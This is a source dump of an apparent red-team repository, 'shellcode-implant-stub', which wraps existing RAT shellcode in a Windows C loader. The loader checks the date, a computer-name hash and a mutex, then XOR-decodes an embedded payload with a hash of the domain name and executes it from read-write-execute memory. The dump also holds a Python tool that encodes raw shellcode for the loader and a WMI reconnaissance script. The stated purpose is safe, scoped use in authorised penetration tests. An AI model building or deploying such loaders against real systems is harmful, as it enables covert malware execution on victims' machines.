├── .gitignore ├── GetComputerInfo.ps1 ├── LICENSE.md ├── README.md ├── raw2src.py ├── stub-c ├── config.h ├── implant.c ├── implant.h ├── resource.h ├── stub.rc ├── stub.sln ├── stub.vcxproj └── stub.vcxproj.filters └── stub-masm-exe ├── makeit.bat └── stub-exe.asm /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | 4 | # User-specific files 5 | *.suo 6 | *.user 7 | *.userosscache 8 | *.sln.docstates 9 | 10 | # User-specific files (MonoDevelop/Xamarin Studio) 11 | *.userprefs 12 | 13 | # Build results 14 | [Dd]ebug/ 15 | [Dd]ebugPublic/ 16 | [Rr]elease/ 17 | [Rr]eleases/ 18 | x64/ 19 | x86/ 20 | bld/ 21 | [Bb]in/ 22 | [Oo]bj/ 23 | 24 | # Visual Studio 2015 cache/options directory 25 | .vs/ 26 | # Uncomment if you have tasks that create the project's static files in wwwroot 27 | #wwwroot/ 28 | 29 | # MSTest test Results 30 | [Tt]est[Rr]esult*/ 31 | [Bb]uild[Ll]og.* 32 | 33 | # NUNIT 34 | *.VisualState.xml 35 | TestResult.xml 36 | 37 | # Build Results of an ATL Project 38 | [Dd]ebugPS/ 39 | [Rr]eleasePS/ 40 | dlldata.c 41 | 42 | # Executables 43 | *.exe 44 | *.dll 45 | *.lib 46 | 47 | # DNX 48 | project.lock.json 49 | artifacts/ 50 | 51 | *_i.c 52 | *_p.c 53 | *_i.h 54 | *.ilk 55 | *.meta 56 | *.obj 57 | *.pch 58 | *.pdb 59 | *.pgc 60 | *.pgd 61 | *.rsp 62 | *.sbr 63 | *.tlb 64 | *.tli 65 | *.tlh 66 | *.tmp 67 | *.tmp_proj 68 | *.log 69 | *.vspscc 70 | *.vssscc 71 | .builds 72 | *.pidb 73 | *.svclog 74 | *.scc 75 | 76 | # Chutzpah Test files 77 | _Chutzpah* 78 | 79 | # Visual C++ cache files 80 | ipch/ 81 | *.aps 82 | *.ncb 83 | *.opendb 84 | *.opensdf 85 | *.sdf 86 | *.cachefile 87 | 88 | # Visual Studio profiler 89 | *.psess 90 | *.vsp 91 | *.vspx 92 | *.sap 93 | 94 | # TFS 2012 Local Workspace 95 | $tf/ 96 | 97 | # Guidance Automation Toolkit 98 | *.gpState 99 | 100 | # ReSharper is a .NET coding add-in 101 | _ReSharper*/ 102 | *.[Rr]e[Ss]harper 103 | *.DotSettings.user 104 | 105 | # JustCode is a .NET coding add-in 106 | .JustCode 107 | 108 | # TeamCity is a build add-in 109 | _TeamCity* 110 | 111 | # DotCover is a Code Coverage Tool 112 | *.dotCover 113 | 114 | # NCrunch 115 | _NCrunch_* 116 | .*crunch*.local.xml 117 | nCrunchTemp_* 118 | 119 | # MightyMoose 120 | *.mm.* 121 | AutoTest.Net/ 122 | 123 | # Web workbench (sass) 124 | .sass-cache/ 125 | 126 | # Installshield output folder 127 | [Ee]xpress/ 128 | 129 | # DocProject is a documentation generator add-in 130 | DocProject/buildhelp/ 131 | DocProject/Help/*.HxT 132 | DocProject/Help/*.HxC 133 | DocProject/Help/*.hhc 134 | DocProject/Help/*.hhk 135 | DocProject/Help/*.hhp 136 | DocProject/Help/Html2 137 | DocProject/Help/html 138 | 139 | # Click-Once directory 140 | publish/ 141 | 142 | # Publish Web Output 143 | *.[Pp]ublish.xml 144 | *.azurePubxml 145 | # TODO: Comment the next line if you want to checkin your web deploy settings 146 | # but database connection strings (with potential passwords) will be unencrypted 147 | *.pubxml 148 | *.publishproj 149 | 150 | # NuGet Packages 151 | *.nupkg 152 | # The packages folder can be ignored because of Package Restore 153 | **/packages/* 154 | # except build/, which is used as an MSBuild target. 155 | !**/packages/build/ 156 | # Uncomment if necessary however generally it will be regenerated when needed 157 | #!**/packages/repositories.config 158 | # NuGet v3's project.json files produces more ignoreable files 159 | *.nuget.props 160 | *.nuget.targets 161 | 162 | # Microsoft Azure Build Output 163 | csx/ 164 | *.build.csdef 165 | 166 | # Microsoft Azure Emulator 167 | ecf/ 168 | rcf/ 169 | 170 | # Microsoft Azure ApplicationInsights config file 171 | ApplicationInsights.config 172 | 173 | # Windows Store app package directory 174 | AppPackages/ 175 | BundleArtifacts/ 176 | 177 | # Visual Studio cache files 178 | # files ending in .cache can be ignored 179 | *.[Cc]ache 180 | # but keep track of directories ending in .cache 181 | !*.[Cc]ache/ 182 | 183 | # Others 184 | ClientBin/ 185 | ~$* 186 | *~ 187 | *.dbmdl 188 | *.dbproj.schemaview 189 | *.pfx 190 | *.publishsettings 191 | node_modules/ 192 | orleans.codegen.cs 193 | 194 | # RIA/Silverlight projects 195 | Generated_Code/ 196 | 197 | # Backup & report files from converting an old project file 198 | # to a newer Visual Studio version. Backup files are not needed, 199 | # because we have git ;-) 200 | _UpgradeReport_Files/ 201 | Backup*/ 202 | UpgradeLog*.XML 203 | UpgradeLog*.htm 204 | 205 | # SQL Server files 206 | *.mdf 207 | *.ldf 208 | 209 | # Business Intelligence projects 210 | *.rdl.data 211 | *.bim.layout 212 | *.bim_*.settings 213 | 214 | # Microsoft Fakes 215 | FakesAssemblies/ 216 | 217 | # GhostDoc plugin setting file 218 | *.GhostDoc.xml 219 | 220 | # Node.js Tools for Visual Studio 221 | .ntvs_analysis.dat 222 | 223 | # Visual Studio 6 build log 224 | *.plg 225 | 226 | # Visual Studio 6 workspace options file 227 | *.opt 228 | 229 | # Visual Studio LightSwitch build output 230 | **/*.HTMLClient/GeneratedArtifacts 231 | **/*.DesktopClient/GeneratedArtifacts 232 | **/*.DesktopClient/ModelManifest.xml 233 | **/*.Server/GeneratedArtifacts 234 | **/*.Server/ModelManifest.xml 235 | _Pvt_Extensions 236 | 237 | # Paket dependency manager 238 | .paket/paket.exe 239 | 240 | # FAKE - F# Make 241 | .fake/ 242 | -------------------------------------------------------------------------------- /GetComputerInfo.ps1: -------------------------------------------------------------------------------- 1 | # GetComputerInfo 2 | # A demonstration script which uses WMI calls to retrieve system information 3 | # The WMI classes can be derived from https://msdn.microsoft.com/en-us/library/windows/desktop/aa389273%28v=vs.85%29.aspx 4 | # 5 | # Stuart Morgan (@ukstufus) 6 | # Part of the shellcode-implant-stub project 7 | 8 | function GetComputerInfo { 9 | 10 | # Domain, Manufacturer, Model etc 11 | Get-WmiObject Win32_ComputerSystem 12 | 13 | # OS Registered user, serial number etc 14 | Get-WmiObject Win32_OperatingSystem 15 | 16 | # BIOS Information 17 | Get-WmiObject Win32_BIOS 18 | 19 | # CPU Specific Information 20 | Get-WmiObject Win32_Processor 21 | 22 | # Motherboard Information 23 | Get-WmiObject Win32_BaseBoard 24 | 25 | } -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Stuart Morgan (stuart.morgan@mwrinfosecurity.com) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Almost all simulated attacks will require, at some point, the installation of a RAT and the establishment of a command and control (C2) channel. Unless you use your own custom RAT, you have limited control over the code that you use; for example publicly available options include: 2 | 3 | * Empire - https://github.com/PowerShellEmpire/Empire 4 | * Meterpreter - https://www.metasploit.com/ 5 | * Cobalt Strike - https://www.cobaltstrike.com/ 6 | * Pupy - https://github.com/n1nj4sec/pupy 7 | * Throwback - https://github.com/silentbreaksec/Throwback 8 | 9 | There are three features that I have been looking for: 10 | 11 | * A check to only allow the implant to run once (either per user or globally). 12 | * Validation that the implant is being executed on the correct host or a host within scope. 13 | * A check to ensure that the implant is not executed after a certain time (i.e. the end of the engagement). 14 | 15 | This project centres around being able to place existing shellcode inside a container that performs the above checks before executing it. It is designed for implant safety, not for anti-virus or incident response evasion. 16 | 17 | A full blog post is available at https://labs.mwrinfosecurity.com/blog/safer-shellcode-implants/ 18 | -------------------------------------------------------------------------------- /raw2src.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Raw shellcode to source converter 4 | # (C) 2016 Stuart Morgan (@ukstufus) 5 | # MWR InfoSecurity, MWR Labs 6 | # 7 | # This tool is designed to be used in conjunction with the 'shellcode-implant-stub' 8 | # project. It can: 9 | # - Take raw shellcode and convert it to a format suitable for inclusion in a C/ASM projects 10 | # - XOR the shellcode with the hash of a known string (e.g. DNS domain name, host name etc) 11 | # - Provide the hash of a known string in a format for inclusion in the C/ASM projects 12 | # 13 | import sys 14 | import hashlib 15 | import argparse 16 | 17 | def writeout(varname, data, xorval, xorsize, fmt): 18 | hash_counter = 0 19 | shellcode_counter = 0 20 | 21 | if fmt=='MASM': 22 | sys.stdout.write(varname+" db ") 23 | elif fmt=='C': 24 | sys.stdout.write("BYTE "+varname+"[] =\n \"\\x") 25 | 26 | for c in data: 27 | if shellcode_counter % 20: 28 | if fmt=='MASM': 29 | sys.stdout.write(',') 30 | elif fmt=='C': 31 | sys.stdout.write('\\x') 32 | elif shellcode_counter: 33 | if fmt=='MASM': 34 | sys.stdout.write("\n" + " "*len(varname) + " db ") 35 | elif fmt=='C': 36 | sys.stdout.write("\"\n \"\\x") 37 | 38 | if xorval != None: 39 | original_opcode = c 40 | new_opcode = ord(c) ^ ord(xorval[hash_counter]) 41 | else: 42 | new_opcode = ord(c) 43 | 44 | if fmt=='MASM': 45 | sys.stdout.write(str(new_opcode)) 46 | elif fmt=='C': 47 | sys.stdout.write(chr(new_opcode).encode('hex')) 48 | 49 | shellcode_counter += 1 50 | 51 | if xorval != None: 52 | if hash_counter==xorsize - 1: 53 | hash_counter = 0 54 | else: 55 | hash_counter = hash_counter + 1 56 | 57 | if fmt=='C': 58 | sys.stdout.write("\";") 59 | sys.stdout.write("\n") 60 | if fmt=='MASM': 61 | sys.stdout.write(varname+"len equ "+str(shellcode_counter)+"\n") 62 | elif fmt=='C': 63 | sys.stdout.write("#define "+varname+"len "+str(shellcode_counter)+"\n") 64 | 65 | sys.stdout.write("\n") 66 | 67 | def generate_computername_hash(computername, outformat): 68 | computernamehash = hashlib.sha1() 69 | computernamehash.update(computername) 70 | computernamehash_value = computernamehash.digest() 71 | comment_character(outformat, "This is the hash of: "+computername+"\n") 72 | writeout("hashSHA1ComputerName", computernamehash_value, None, None, outformat) 73 | 74 | def comment_character(outformat,text): 75 | if outformat == 'MASM': 76 | sys.stdout.write("; "+text) 77 | elif outformat == 'C': 78 | sys.stdout.write("// "+text) 79 | return 80 | 81 | if __name__ == '__main__': 82 | parser = argparse.ArgumentParser(description='Shellcode to C/ASM implant stub converter.') 83 | parser.add_argument('-c', '--computername', action='store', help='Generate the SHA1 hash of the parameter given (e.g. a computer name)') 84 | parser.add_argument('-x', '--xor', action='store', help='XOR the shellcode with the hash of the parameter given (e.g. domain name)') 85 | parser.add_argument('-s', '--shellcode', action='store', help='The filename containing the shellcode.') 86 | parser.add_argument('-o', '--outputformat', action='store', help='The output format. Can be "C" or "MASM"') 87 | args = vars(parser.parse_args()) 88 | 89 | if 'outputformat' in args and args['outputformat'] != None: 90 | if args['outputformat'] != 'C' and args['outputformat'] != 'MASM': 91 | sys.stderr.write("Invalid output format\n") 92 | sys.exit(1) 93 | else: 94 | sys.stderr.write("Invalid output format\n") 95 | sys.exit(1) 96 | 97 | if 'computername' in args and args['computername'] != None: 98 | generate_computername_hash(args['computername'], args['outputformat']) 99 | 100 | if 'shellcode' in args and args['shellcode'] != None: 101 | # Read the shellcode from shellcode.raw 102 | with open(args['shellcode'], 'rb') as s: 103 | shellcode = s.read() 104 | s.close() 105 | comment_character(args['outputformat'], "Shellcode loaded from: "+args['shellcode']+"\n") 106 | 107 | xor = None 108 | xorsize = None 109 | if 'xor' in args and args['xor'] != None and len(args['xor'])>0: 110 | domain_xor = hashlib.sha1() 111 | domain_xor.update(args['xor']) 112 | xor = domain_xor.digest() 113 | xorsize = domain_xor.digest_size 114 | comment_character(args['outputformat'], "Shellcode XOR'd with hash of: "+args['xor']+"\n") 115 | 116 | writeout('shellcode', shellcode, xor, xorsize, args['outputformat']) 117 | -------------------------------------------------------------------------------- /stub-c/config.h: -------------------------------------------------------------------------------- 1 | // ------------------------------------------------------------------------------ 2 | // 3 | // Implant Stub Code - C (Visual Studio) Executable 4 | // (C) 2016 Stuart Morgan (@ukstufus) 5 | // MWR InfoSecurity Ltd, MWR Labs 6 | // 7 | // This code is designed to act as a wrapper for existing implants during simulated 8 | // attacks. 9 | // 10 | // Compile this using Visual Studio 2013. 11 | // 12 | // This file stores the name of the mutex (which allows the implant stub to tell 13 | // whether it is already running), a hash of the computer name and the raw shellcode 14 | // to execute. 15 | // 16 | // ------------------------------------------------------------------------------ 17 | 18 | // The mutex name. Just pick something unique. 19 | // Prefixing it with Global\\ makes it unique on the system (i.e. all users). 20 | // Prefixing it with Local\\ makes it unique to the session (i.e. that user). 21 | #define MUTEX_NAME TEXT("Global\\Stufus") 22 | 23 | // This will always be 20 (byte length of an SHA-1 hash) 24 | #define HASH_LEN 20 25 | 26 | // This is the hash of: TESTER 27 | // You can generate this with raw2src.py. e.g. ./raw2src.py -c STUFUS -o C 28 | BYTE hashSHA1ComputerName[] = 29 | "\x53\x8f\x68\xf9\x2c\xa3\x76\xe5\x23\xe6\xd6\xa9\x68\x63\xde\x02\x7d\x76\xa3\xda"; 30 | #define hashSHA1ComputerNamelen 20 31 | 32 | // This is the encoded shellcode 33 | // You can generate this with raw2src.py. e.g. ./raw2src.py -s shellcode.raw -x "MWRINFOSECURITY.COM" -o C 34 | // Shellcode loaded from: ../shellcode-implant-stub/shellcode.raw 35 | // Shellcode XOR'd with hash of: TESTER 36 | BYTE shellcode[] = 37 | "\x8a\x64\xf3\x20\x58\x87\x82\xd4\xf1\x54\xa1\x98\xa1\x07\x55\x73\x4d\xfd\xd5\xd6" 38 | "\xd8\xf9\x74\x72\x6a\xab\xfd\x9b\x03\x6d\xe0\x91\x27\x7b\xab\xf1\x24\x77\x72\x25" 39 | "\xb2\xef\xe3\x95\x08\x87\xfd\xa0\x1f\x6d\x82\x81\x10\x62\x34\x89\x37\x6e\x28\x80" 40 | "\x73\x8e\x83\x1a\x18\xea\xfd\xd1\xa8\xe7\x38\x98\x97\x52\x1e\xfe\xd1\xf2\x63\xae" 41 | "\x54\x4e\xa7\xf4\x2d\x64\x9d\x11\x18\x9a\xf2\x81\x1d\x82\x55\x58\x59\x77\x48\xbc" 42 | "\xd8\x83\x23\x72\x76\xbf\x77\x0e\xa8\xe2\x5d\xa8\x80\xea\x9a\x26\x61\x17\x60\x68" 43 | "\x5b\xa6\xbc\x70\xc9\x2a\xb4\x8d\xad\xa8\xd8\x45\x3a\x8b\x41\xfd\x82\x89\x2a\x9f" 44 | "\x57\x34\x16\x21\xce\xd0\xf1\xf9\x07\xb4\x3e\x27\x97\x9c\x21\x8b\x38\x7e\xcb\xb6" 45 | "\x3f\xaf\x29\x91\x1f\x91\x58\x81\x4b\x93\xa5\xcc\x1a\x53\x05\x8a\x21\x52\xa9\x53" 46 | "\xb5\xd9\x97\xac\x28\x2a\xb4\xb5\x98\x4e\x74\xe4\xd4\xe4\xc2\x26\x2f\x9e\xfc\x25" 47 | "\xac\x70\x00\xa1\x0c\x83\x56\x8d\x56\x80\xa3\xda\x00\x16\xb5\x71\x09\x1e\x83\xf5" 48 | "\x73\xcf\x00\xb5\x4d\xc1\x05\x8d\x6e\xb1\x84\x89\x59\xb8\x56\x5e\x59\x62\x2a\x39" 49 | "\x3b\xd7\x48\xd9\x0c\xcb\x03\x91\x46\x82\xbe\xcc\x10\x06\xbd\x6a\x15\x17\xd0\xfa" 50 | "\x3b\xe0\x09\x9d\x0c\xcb\x06\x84\x5a\x8a\xbe\xfd\x00\x06\xfe\x33\xb4\xfe\xef\xfe" 51 | "\x4b\x06\x89\xc8\xfe\xf1\x25\xb4\x71\x19\x06\x98\xa8\x33\x21\x57\x75"; 52 | #define shellcodelen 297 -------------------------------------------------------------------------------- /stub-c/implant.c: -------------------------------------------------------------------------------- 1 | // ------------------------------------------------------------------------------ 2 | // 3 | // Implant Stub Code - C (Visual Studio) Executable 4 | // (C)2016 Stuart Morgan(@ukstufus) 5 | // MWR InfoSecurity Ltd, MWR Labs 6 | // 7 | // This code is designed to act as a wrapper for existing implants during simulated 8 | // attacks. 9 | // 10 | // Compile this using Visual Studio 2013. 11 | // 12 | // In its current form, it: 13 | // 14 | // 1. Checks to ensure that the current time is acceptable (i.e.within the agreed 15 | // timescales of the simulated attack) 16 | // 2. Hashes the NetBIOS name of the computer it is being run on and compares this 17 | // to a stored hash. It exits if they do not match. 18 | // 3. Hashes the DNS domain name of the computer it is being run on and xors the 19 | // hash (concatenated with itself if necessary) against the included shellcode. 20 | // 4. Executes the(xor'd) shellcode. 21 | // 22 | // ------------------------------------------------------------------------------ 23 | 24 | #include "implant.h" 25 | #include "config.h" 26 | 27 | ////////////////////////////////////////////////////////////////////////////////// 28 | // 29 | // WinMain 30 | // Entrypoint 31 | // 32 | ////////////////////////////////////////////////////////////////////////////////// 33 | 34 | int APIENTRY WinMain(_In_ HINSTANCE hInst, 35 | _In_opt_ HINSTANCE hPrevInstance, 36 | _In_ LPTSTR lpCmdLine, 37 | _In_ int nCmdShow) { 38 | UNREFERENCED_PARAMETER(hPrevInstance); 39 | UNREFERENCED_PARAMETER(lpCmdLine); 40 | 41 | CheckExecution(); 42 | ExitProcess((UINT) NULL); 43 | } 44 | 45 | 46 | ////////////////////////////////////////////////////////////////////////////////// 47 | // 48 | // CheckExecution 49 | // The main function; it performs the various checks and actions 50 | // and will execute the shellcode if applicable 51 | // 52 | ////////////////////////////////////////////////////////////////////////////////// 53 | 54 | void CheckExecution() { 55 | 56 | // Perform the date and time check; if it is outside the permitted 57 | // date, return now 58 | if (!DateTimeCheck()) return; 59 | 60 | // Check the hash of the computer name against the stored hash. 61 | // If they are different, return now 62 | if (!HashCheck()) return; 63 | 64 | // Perform the Mutex check; if it is already running, quit now 65 | if (!MutexCheck(MUTEX_NAME)) return; 66 | 67 | // XOR the shellcode 68 | DecodeShellcode(); 69 | 70 | // Now run it 71 | ExecuteShellcode((BYTE *) &shellcode, shellcodelen); 72 | 73 | return; 74 | } 75 | 76 | 77 | ////////////////////////////////////////////////////////////////////////////////// 78 | // 79 | // HashCheck 80 | // The main function; it performs the various checks and actions 81 | // and will execute the shellcode if applicable 82 | // 83 | ////////////////////////////////////////////////////////////////////////////////// 84 | 85 | unsigned int HashCheck() { 86 | HGLOBAL *cn; 87 | HGLOBAL *cnhash; 88 | unsigned int ret; 89 | 90 | ret = FALSE; 91 | 92 | // Check the hash of the computer name 93 | if (cn = GetComputerInfo(ComputerNamePhysicalNetBIOS)) { 94 | if (cnhash = (HGLOBAL *) GenerateHash((char *) cn, strlen((char *) cn))) { 95 | if (!memcmp(cnhash, &hashSHA1ComputerName, hashSHA1ComputerNamelen)) { 96 | ret = TRUE; 97 | } 98 | free(cnhash); 99 | } 100 | free(cn); 101 | } 102 | 103 | return ret; 104 | } 105 | 106 | 107 | 108 | ////////////////////////////////////////////////////////////////////////////////// 109 | // 110 | // DecodeShellcode 111 | // This function xor's the shellcode against a concatenated hash 112 | // 113 | ////////////////////////////////////////////////////////////////////////////////// 114 | 115 | void DecodeShellcode() { 116 | unsigned char *cn, *cnhash; 117 | 118 | unsigned int sc = 0; // Shellcode position marker 119 | unsigned int hc = 0; // Hash position marker 120 | 121 | // Get the computer name (to be used as a decryption key) 122 | if (cn = (char *)GetComputerInfo(ComputerNamePhysicalDnsDomain)) { 123 | if (cnhash = GenerateHash(cn, strlen(cn))) { 124 | 125 | // Loop through the shellcode 126 | for (sc = 0; sc < shellcodelen; sc++) { 127 | 128 | // XOR the shellcode against the hash derived 129 | // from the host 130 | shellcode[sc] ^= cnhash[hc]; 131 | 132 | // Loop through the hash 133 | if (hc == HASH_LEN - 1) { 134 | hc = 0; 135 | } else { 136 | hc++; 137 | } 138 | } 139 | free(cnhash); 140 | } 141 | free(cn); 142 | } 143 | 144 | return; 145 | } 146 | 147 | 148 | 149 | ////////////////////////////////////////////////////////////////////////////////// 150 | // 151 | // MutexCheck 152 | // Returns FALSE if we should bail out now because of the mutex 153 | // or TRUE if we can carry on 154 | // 155 | ////////////////////////////////////////////////////////////////////////////////// 156 | unsigned int MutexCheck(const char *name) { 157 | HANDLE mutex = NULL, error = NULL; 158 | 159 | mutex = CreateMutex(NULL, TRUE, name); 160 | if (mutex == NULL) { 161 | // Error creating the mutex. This could be because 162 | // we are trying to create a Global mutex and it exists 163 | // already. 164 | return FALSE; 165 | } 166 | else { 167 | // Handle has been returned 168 | error = (HANDLE)GetLastError(); 169 | if (error == (HANDLE)ERROR_ALREADY_EXISTS) { 170 | // Mutex already exists 171 | return FALSE; 172 | } 173 | else { 174 | return TRUE; 175 | } 176 | } 177 | } 178 | 179 | 180 | 181 | ////////////////////////////////////////////////////////////////////////////////// 182 | // 183 | // DateTimeCheck() 184 | // Returns FALSE if we should bail out now because of the mutex 185 | // or TRUE if we can carry on 186 | // 187 | ////////////////////////////////////////////////////////////////////////////////// 188 | unsigned int DateTimeCheck() { 189 | 190 | SYSTEMTIME ct; 191 | GetSystemTime(&ct); 192 | 193 | // Check that we are between January and July 2016 194 | if ((ct.wYear == 2016 && ct.wMonth <= 7) && (ct.wYear == 2016 && ct.wMonth >= 1)) { 195 | return TRUE; 196 | } else { 197 | return FALSE; 198 | } 199 | 200 | } 201 | 202 | 203 | 204 | ////////////////////////////////////////////////////////////////////////////////// 205 | // 206 | // GetComputerInfo(nametype) 207 | // Returns the computer name/domain name etc (based on the parameter requested) 208 | // 209 | ////////////////////////////////////////////////////////////////////////////////// 210 | HGLOBAL * GetComputerInfo(COMPUTER_NAME_FORMAT nametype) { 211 | 212 | HGLOBAL *ci; 213 | DWORD len = 0; 214 | 215 | GetComputerNameEx(nametype, NULL, &len); 216 | if (len) { 217 | if (ci = calloc(len, 1)) { 218 | if (GetComputerNameEx(nametype, (LPSTR) ci, (LPDWORD) &len)) { 219 | return ci; 220 | } 221 | } 222 | } 223 | return NULL; 224 | 225 | } 226 | 227 | 228 | 229 | 230 | ////////////////////////////////////////////////////////////////////////////////// 231 | // 232 | // GenerateHash() 233 | // Returns a pointer to a buffer containing a SHA1 hash or FALSE if there is a problem 234 | // 235 | ////////////////////////////////////////////////////////////////////////////////// 236 | HGLOBAL GenerateHash(BYTE *src, unsigned int len) { 237 | 238 | HCRYPTPROV hProv; 239 | HCRYPTHASH hHash; 240 | DWORD hash_size_needed; 241 | DWORD hash_size_needed_len; 242 | HGLOBAL hash_value; 243 | HGLOBAL ret = { 0 }; 244 | 245 | // Acquire a handle to the general key container 246 | if (CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, (DWORD) NULL)) { 247 | 248 | // Generate a handle to the SHA1 hash type that we want 249 | if (CryptCreateHash(hProv, CALG_SHA1, (HCRYPTKEY) NULL, (DWORD) NULL, &hHash)) { 250 | 251 | // Hash the data 252 | if (CryptHashData(hHash, src, len, (DWORD) NULL)) { 253 | 254 | // We know it is SHA-1 and therefore 160-bit but I left this in to make it 255 | // easier and more resilient to changes in hash algorithm choice etc. Therefore, 256 | // request the hash size from the CryptoAPI and make sure its 20 bytes (160 bit) 257 | hash_size_needed_len = 4; 258 | if (CryptGetHashParam(hHash, HP_HASHSIZE, (BYTE *) &hash_size_needed, (DWORD *) &hash_size_needed_len, (DWORD) NULL) && hash_size_needed == 20) { 259 | 260 | // Now allocate memory for the hash 261 | if (hash_value = calloc(hash_size_needed, 1)) { 262 | 263 | if (CryptGetHashParam(hHash, HP_HASHVAL, hash_value, &hash_size_needed, (DWORD) NULL)) { 264 | ret = hash_value; 265 | } 266 | 267 | } 268 | } 269 | 270 | } 271 | 272 | // Clean up 273 | CryptDestroyHash(hHash); 274 | } 275 | 276 | // Clean up 277 | CryptReleaseContext(hProv, (DWORD) NULL); 278 | } 279 | return (HGLOBAL) ret; 280 | } 281 | 282 | 283 | 284 | void ExecuteShellcode(BYTE *buf, unsigned int size) { 285 | 286 | char *buffer; 287 | void (*sc) (); // Essentially create a function pointer 288 | 289 | buffer = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 290 | memcpy(buffer, buf, size); 291 | sc = (void *) buffer; 292 | sc(); 293 | 294 | } 295 | -------------------------------------------------------------------------------- /stub-c/implant.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | HGLOBAL GenerateHash(BYTE *, unsigned int); 5 | HGLOBAL * GetComputerInfo(COMPUTER_NAME_FORMAT); 6 | void CheckExecution(); 7 | unsigned int HashCheck(); 8 | void DecodeShellcode(); 9 | void ExecuteShellcode(BYTE *, unsigned int); 10 | unsigned int DateTimeCheck(); 11 | unsigned int MutexCheck(const char *); 12 | -------------------------------------------------------------------------------- /stub-c/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by stub.rc 4 | 5 | // Next default values for new objects 6 | // 7 | #ifdef APSTUDIO_INVOKED 8 | #ifndef APSTUDIO_READONLY_SYMBOLS 9 | #define _APS_NEXT_RESOURCE_VALUE 101 10 | #define _APS_NEXT_COMMAND_VALUE 40001 11 | #define _APS_NEXT_CONTROL_VALUE 1001 12 | #define _APS_NEXT_SYMED_VALUE 101 13 | #endif 14 | #endif 15 | -------------------------------------------------------------------------------- /stub-c/stub.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stufus/shellcode-implant-stub/d9746bd0793fac086b4eda7ef7ba27ec86e32bd7/stub-c/stub.rc -------------------------------------------------------------------------------- /stub-c/stub.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.31101.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "stub", "stub.vcxproj", "{006F04B3-B99F-4AE2-B8A0-427DC40C4303}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Win32 = Debug|Win32 11 | Debug|x64 = Debug|x64 12 | Release|Win32 = Release|Win32 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Debug|Win32.ActiveCfg = Debug|Win32 17 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Debug|Win32.Build.0 = Debug|Win32 18 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Debug|x64.ActiveCfg = Debug|x64 19 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Debug|x64.Build.0 = Debug|x64 20 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Release|Win32.ActiveCfg = Release|Win32 21 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Release|Win32.Build.0 = Release|Win32 22 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Release|x64.ActiveCfg = Release|x64 23 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /stub-c/stub.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Debug 10 | x64 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | {006F04B3-B99F-4AE2-B8A0-427DC40C4303} 23 | stub 24 | 25 | 26 | 27 | Application 28 | true 29 | v120 30 | MultiByte 31 | 32 | 33 | Application 34 | true 35 | v120 36 | MultiByte 37 | 38 | 39 | Application 40 | false 41 | v120_xp 42 | true 43 | MultiByte 44 | false 45 | 46 | 47 | Application 48 | false 49 | v120 50 | true 51 | MultiByte 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | Level3 73 | Disabled 74 | true 75 | MultiThreadedDebug 76 | 77 | 78 | true 79 | 80 | 81 | 82 | 83 | Level3 84 | Disabled 85 | true 86 | 87 | 88 | true 89 | 90 | 91 | 92 | 93 | EnableAllWarnings 94 | Full 95 | true 96 | true 97 | true 98 | MultiThreaded 99 | Size 100 | 101 | 102 | false 103 | true 104 | true 105 | 106 | 107 | 0x0809 108 | 109 | 110 | 111 | 112 | Level3 113 | MaxSpeed 114 | true 115 | true 116 | true 117 